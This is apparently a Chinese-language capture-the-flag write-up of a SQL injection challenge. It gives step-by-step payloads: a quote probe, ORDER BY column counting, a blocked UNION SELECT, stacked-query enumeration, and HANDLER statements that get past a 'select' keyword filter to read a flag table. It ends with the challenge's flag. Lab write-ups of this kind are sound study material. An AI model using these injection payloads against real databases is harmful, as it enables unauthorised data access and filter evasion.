1.輸入1'
回顯出語法錯誤(找到注入點,是字元型)
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
2.依次輸入1' order by 3#
、1' order by 1#
、1' order by 2#
(只有第一次回顯報錯,說明列數為2)
3.輸入-1' union select 1,2,3#
測試回顯位
回顯:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
以上是提示過濾了select
4.使用堆疊注入嘗試檢視庫名和表名
1';show databases;
1';show tables;
檢視列名:
1';show columns from FlagHere;#
使用hanlder語句獲得flag:(好用欸)
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
tips:
handler 表名 open #開啟表
handler 表名 read first #閱讀表中的第一行資料
handler 表名 close #關閉表
handler 表名 read next #獲取表中的下一行資料
FLAG:flag{a34e3221-985c-43f3-8155-7777fb2e1131}